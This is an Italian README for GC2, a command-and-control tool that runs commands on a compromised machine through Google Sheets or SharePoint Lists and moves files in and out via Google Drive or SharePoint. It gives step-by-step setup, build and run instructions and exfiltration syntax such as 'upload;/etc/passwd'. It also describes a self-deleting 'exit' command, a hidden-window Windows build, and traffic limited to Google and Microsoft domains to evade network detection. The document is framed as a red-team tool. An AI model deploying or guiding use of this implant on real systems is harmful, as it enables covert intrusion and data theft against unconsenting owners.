
GC2 è un'applicazione di Command and Control che consente a un attaccante di eseguire comandi sulla macchina target utilizzando Google Sheet o Microsoft SharePoint List e di esfiltrare file utilizzando Google Drive o Microsoft SharePoint Document.
GC2 (Google Command and Control) è un'applicazione di Command and Control che consente a un attaccante di eseguire comandi sul computer bersaglio utilizzando Google Sheet o Microsoft SharePoint List e di esfiltrare file tramite Google Drive o Microsoft SharePoint Document.
Questo progetto è stato sviluppato per fornire un command and control che non richiede alcuna particolare configurazione (come: un dominio personalizzato, VPS, CDN, ...) durante le attività di Red Teaming.
Inoltre, il programma interagirà solo con i domini di Google e Microsoft (come *.google.com) per rendere più difficile il rilevamento di rete.
Un Google Sheet verrà creato automaticamente dal C2. Una volta creato, puoi interagire con il sistema compromesso come mostrato di seguito.
Un Microsoft SharePoint List verrà creato automaticamente dal C2. Una volta creato, puoi interagire con il sistema compromesso come mostrato di seguito.
Un comando speciale è riservato per esfiltrare file dal sistema bersaglio.
Dal Bersaglio a Google Drive/Microsoft SharePoint Document
upload;<percorso_locale>
Esempio:
upload;/etc/passwd
Nota: i file con lo stesso nome vengono automaticamente sovrascritti.
Un comando speciale è riservato per scaricare file sul sistema bersaglio.
Da Google Drive al Bersaglio
download;<id_file_google_drive>;<percorso_locale>
Esempio:
download;<ID file>;/home/user/downloaded.txt
Nota: i file devono essere salvati nella cartella principale di SharePoint, di solito "Documents"
Da SharePoint al Bersaglio
download;<percorso_file_SharePoint>;<percorso_locale>
Esempio:
download;download.txt;/home/user/downloaded.txt
Inviando il comando exit, il C2 si ucciderà e si cancellerà dal sistema bersaglio.
PS: Dalla documentazione di os: Se un collegamento simbolico è stato usato per avviare il processo, a seconda del sistema operativo, il risultato potrebbe essere il collegamento simbolico o il percorso a cui puntava. In questo caso, il collegamento simbolico viene cancellato.
Questo C2 supporta sia i servizi Google (Google Sheet + Google Drive) che Microsoft (SharePoint Lists + SharePoint Document). Per usare il C2 devi configurare sia la configurazione locale che quella cloud.
Crea un nuovo "account di servizio" Google
Crea un nuovo "account di servizio" Google utilizzando https://console.cloud.google.com/, crea un file di chiave .json per l'account di servizio.
Abilita Google Sheet API e Google Drive API
Abilita Google Drive API https://developers.google.com/drive/api/v3/enable-drive-api e Google Sheet API https://developers.google.com/sheets/api/quickstart/go.
Configura Google Sheet e Google Drive
Crea un nuovo Google Sheet e condividilo (come Editor) con l'Account di Servizio (utilizzando la sua email).
Crea una nuova cartella Google Drive e condividila (come Editor) con l'Account di Servizio (utilizzando la sua email).
Per interagire con i servizi Microsoft dovrai prima avere un abbonamento Business (puoi ottenerne uno gratuito per i primi 30 giorni).
Crea un'Applicazione Azure
Crea una nuova Applicazione Azure come descritto qui https://learn.microsoft.com/it-it/graph/auth-v2-service?tabs=http
Dopo aver creato la nuova applicazione, abilita le seguenti Graph API:
Scarica il C2
Il C2 può essere clonato direttamente da GitHub:
git clone https://github.com/looCiprian/GC2-sheet
cd GC2-sheet
Configura il C2
Per configurare il C2 devi modificare il file cmd/options.yml. Il C2 supporta sia i servizi Google che Microsoft; è possibile anche mescolarli.
Solo servizi Google
CommandService: "Google" # Google Sheet verrà usato come servizio di comando per prelevare comandi e inviare output
FileSystemService: "Google" # Google Drive verrà usato come filesystem per scaricare ed esfiltrare file
GoogleServiceAccountKey : "1234567890" # il tuo file json escapeato
GoogleSheetID: "0987654321" # il tuo Google Sheet ID (lo trovi nell'URL)
GoogleDriveID: "1234554321" # il tuo ID cartella Google Drive (lo trovi nell'URL)
#RowId: 1 # opzionale, specifica da quale riga (Google Sheet o SharePoint List) il beacon deve prelevare nuovi comandi
#Proxy: "http://127.0.0.1:8080" # opzionale, specifica il proxy
Verbose: true # opzionale, consigliato per debug
La chiave dell'account di servizio Google deve essere escapeata prima di incollarla nel file di configurazione. Puoi usare il seguente comando per escapearla:
cat key.json | jq -r @json | sed 's/\\n/\\\\n/g' | sed 's/\"/\\"/g'
Solo servizi Microsoft
CommandService: "Microsoft" # Microsoft SharePoint List verrà usato come servizio di comando per prelevare comandi e inviare output
FileSystemService: "Microsoft" # Microsoft SharePoint Document verrà usato come filesystem per scaricare ed esfiltrare file
MicrosoftTenantID: "567890098765" # il tuo Azure Tenant ID dove è stata creata l'Applicazione Azure
MicrosoftClientID: "098765567890" # il tuo ID Applicazione Azure
MicrosoftClientSecret: "1234509876" # il tuo valore Secret dell'Applicazione Azure
MicrosoftSiteID: "0987612345" # # il tuo ID SharePoint
#RowId: 1 # opzionale, specifica da quale riga (Google Sheet o SharePoint List) il beacon deve prelevare nuovi comandi
#Proxy: "http://127.0.0.1:8080" # opzionale, specifica il proxy
Verbose: true # opzionale, consigliato per debug
La maggior parte degli errori può essere rilevata impostando il flag verbose su true. Per impostazione predefinita, il C2 non genera alcun output o informazione di errore.
Il proprietario di questo progetto non è responsabile per qualsiasi uso illegale di questo programma.
Questo è un progetto open source pensato per essere utilizzato con autorizzazione per valutare la postura di sicurezza e per scopi di ricerca.
L'utente finale è l'unico responsabile per le proprie azioni e decisioni. L'uso di questo progetto è a proprio rischio. Il proprietario di questo progetto non accetta alcuna responsabilità per qualsiasi perdita o danno causato dall'uso di questo progetto.
Notizie che menzionano malware che utilizzano lo stesso concetto:
Mescolando servizi Google e Microsoft
CommandService: "Google" # Google Sheet verrà usato come servizio di comando per prelevare comandi e inviare output
FileSystemService: "Microsoft" # Microsoft SharePoint Document verrà usato come filesystem per scaricare ed esfiltrare file
GoogleServiceAccountKey : "1234567890" # il tuo file json escapeato
GoogleSheetID: "0987654321" # il tuo Google Sheet ID (lo trovi nell'URL)
GoogleDriveID: "1234554321" # il tuo ID cartella Google Drive (lo trovi nell'URL)
MicrosoftTenantID: "567890098765" # il tuo Azure Tenant ID dove è stata creata l'Applicazione Azure
MicrosoftClientID: "098765567890" # il tuo ID Applicazione Azure
MicrosoftClientSecret: "1234509876" # il tuo valore Secret dell'Applicazione Azure
MicrosoftSiteID: "0987612345" # # il tuo ID SharePoint
#RowId: 1 # opzionale, specifica da quale riga (Google Sheet o SharePoint List) il beacon deve prelevare nuovi comandi
#Proxy: "http://127.0.0.1:8080" # opzionale, specifica il proxy
Verbose: true # opzionale, consigliato per debug
Compila l'eseguibile
Alcuni esempi su come cross-compilare il C2 per diversi sistemi operativi e architetture.
env GOOS=windows GOARCH=amd64 go build -ldflags "-s -w -H windowsgui"
env GOOS=linux GOARCH=amd64 go build -ldflags "-s –w"
env GOOS=darwin GOARCH=amd64 go build -ldflags "-s –w"
Esegui
Dopo la compilazione, eseguilo.
./gc2-sheet
Il beacon creerà automaticamente un nuovo Google Sheet o Microsoft SharePoint List in base alla tua configurazione.